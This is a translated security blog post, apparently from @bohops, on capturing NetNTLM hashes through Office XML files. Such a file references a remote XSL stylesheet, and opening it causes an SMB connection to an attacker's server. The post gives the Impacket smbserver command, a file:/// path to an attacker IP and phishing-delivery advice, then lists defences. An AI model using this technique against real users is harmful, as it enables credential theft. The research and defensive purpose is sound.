利用 Office XML 文档捕获 NetNTLM 哈希值

TL; DR

Office XML(.xml)文档可以通过SMB调用远程XSL样式表。如果远程XSL样式表位于攻击者控制的服务器,则可获取被攻击用户的net-NTLM身份验证哈希值(质询/响应消息)。后续操作上,攻击者可以离线破解此哈希值, 或利用其他技术进行远程命令执行(如果用户权限足够且联网)。如果被攻击目标安全性比较差(例如出网规则较差),还可能据此对用户发动网络钓鱼攻击。在许多情况下,XML文档可能会通过大多数邮件网关过滤机制和/或其他网络安全控制。防御者可能需要将默认XML文件关联更改为文本编辑器,因为大多数用户都不会有打开原始Office XML文档的需求。强密码,可靠的出网规则(例如,禁止SMB出网流量)和用户培训, 可以帮助缓解这些类型的攻击。

 

介绍

捕获netNTLM(版本1或版本2)质询/响应消息哈希值的方法网上有不少,利用/破解netNTLM哈希值的工具也有很多, 且都很棒, 例如CoreSecurity的Impacket,Laurent Gaffie的Responder@kevin_robertsonInveigh,以及Jens Steube的Hashcat。在大多数情况下,这些捕获技术都可以归类为后渗透(post-exploitation)技术,并且通常需要主机联网和/或能访问主机才能成功。在适当的情况下,这些技术可以由用户驱动(例如,通过Microsoft Office文档),并且很可能成为攻击者登录用户主机的切入点。在这篇文章中,我们将讨论一种非常规技术: 使用Microsoft Office(Word)2016进行UNC路径重定向并捕获netNTLM。内容包括:

  • Microsoft XML文档的入门介绍
  • 通过操作XML样式表捕获NetNTLM
  • 用例,注释和警告
  • 如何防范此类攻击

*注意 :在继续阅读之前,我强烈建议您查看以下资源,以获取有关Windows身份验证协议和相关捕获方法的信息:

 

Microsoft XML文档的入门介绍

从 Office 2007开始,(大多数)文档格式都是基于微软的Office Open XML(OOXML),它是“由微软开发的用于表示电子表格,图表,演示文稿和文字处理文档的基于XML的压缩文件格式”(维基百科)。从“较新的”office扩展名,例如Microsoft Word的.docx和Excel的.xslx,就可以看得出来。

非常有趣的是,Office文档也可以看做包含有效标记和属性的“flat”XML文件。例如,让我们打开MS Word 2016, 并添加一些文本, 创建一个传统意义上的Word XML文档:

01_word_doc_Create

将文件保存为XML格式,不要选.docx:

02_word_doc_save_as_xml

以下是该文档的(截断的)XML表示:

03_word_xml.PNG

点击上面的图片查看大图。有趣的是,有一个包含mso-application label 的标签:

<?mso-application progid="Word.Document"?>

ProgID实际上是一个COM标识符。Microsoft XML Handler(MSOXMLED.EXE)处理mso-application标记以加载由ProgID标识的相应Office应用程序。可以直接调用MSOXMLED.EXE来启动相应的XML文件:

MSOXMLED.EXE /verb open "C:UsersuserDesktopword.xml"

或者,用户可以直接启动XML文件(在资源管理器中)并交由文件默认关联的处理程序来处理。如果未设置默认文件关联(Windows 10默认未设置),资源管理器将调用runonce.exe, 由用户来选择Office程序。Office XML Hanlder 是第一个(也是首选)选项,一旦选中,Office XML Hanlder 将成为XML文件的默认处理程序:

09_first_time_open_office_xml_handler

Office XML Handler 调用Word(winword.exe)来打开文档:

saved_doc

*注意:还有其他的方式, 例如从Word种打开XML文件,或直接使用命令行。这些方法会“绕过”关联的处理程序。

 

通过操作XML样式表捕获NetNTLM

从Christian Nagel 2004年发表的文章中,我提取了一个简单的Word XML文档和样式表,修改后作为此攻击方式的PoC。以下,是修改的本地XML文件(引用了一个远程服务器的XSL文件):

04_xml_with_xsl_href

此XML文件的xml-stylesheet标签包含远程位置的引用(href)。此外,我们添加了mso-application标签,以确保处理程序会将XML文档交由适当的应用程序。

在尝试打开此文件之前,让我们在攻击计算机上启动Impacket SMB服务器:

smbserver.py -smb2support test .

06_smb_server_setup

双击我们的’恶意’XML文件, 打开:

07_open_word

现在,看看我们的SMB服务器日志来检查结果:

11_captured_nethash

成功了。我们现在可以尝试破解这个哈希!

 

用例,注释和注意事项

网络钓鱼的影响

根据具体情况,XML文件可通过某种网络钓鱼技术来部署。如果攻击目标对远程用户的出网过滤规则或VPN控制较弱,则攻击者可以将Office XML文档作为电子邮件附件发送给被攻击者, 电子邮件很可能“在邮件网关和扫描雷达的眼皮子底下”有惊无险的抵达对方的邮件收件箱:

phish_1

双击并按“打开”。

注意:根据具体情况,用户可能必须逐步点击默认关联的提示框。

phish_2

因为该文件来自其他位置(例如Web),Word会在受保护视图中打开。一旦我们“启用编辑”,就会从远程服务器获取XSL文档,于是我们就可以在攻击机上收集用户的NetNTLM哈希值:

phish_3

样式表参考标记

在上面的示例中,我们使用显式UNC路径来引用样式表。使用file:///协议也可以:

file:///192.168.245.175/test/word.xsl

其他Microsoft Office应用程序

此种远程加载样式表的方式也适用于其他Office应用程序(例如Excel)。Word似乎是最简单的。

WebDAV

Microsoft Word支持WebDAV协议。如果Word通过SMB协议无法获取远程样式表,Word将尝试使用HTTP WebDAV请求获取远程文件。Didier Stevens(@DidierStevens)在这篇文章中对这种行为进行了详细的描述 – Webdav Traffic to Malicious-Sites

*注意:如果使用NTLM WebDAV进行身份验证失败,服务器通常会返回401(表示操作未经授权)。不同的WebDAV客户端,处理此问题的方式也多种多样。Explorer.exe会提示用户输入凭据,而Word似乎会无弹框的情况下多请求几次资源。这种行为非常有意思,但我无法强制传递NTLM请求到服务器。此课题改天再做研究。

 

如何防范此类攻击

  • 强密码策略 – 使用唯一的强密码,最大限度地减少攻击者破解收集到的NetNTLM哈希值的机会。
  • 文件关联 – 除非真的有业务需求,否则请考虑将XML文件的默认关联程序更改为文本编辑器。此微软官方文档提供了使用GPO/GPP配置“文件类型首选项”的指南。
  • 出网规则 – 出网流量,尤其是SMB(TCP 139/445)对任何组织(或家庭)都是危险的。强制执行出网防火墙规则, 并仅开放实际需要的端口。
  • (远程)用户 – 但是Webmail或VPN, 但不通过隧道传输所有流量的远程用户, 可能面临此类攻击(以及其他类似攻击)的威胁。如果可能,尝试收紧远程访问控制策略, 并通过VPN隧道传输流量。最重要的是,训练用户打开邮件附件时务必小心谨慎。

 

结论

感谢您抽出宝贵时间阅读这篇文章!与往常一样,如果您有任何问题/反馈,请随时给我发消息。

@bohops

(完)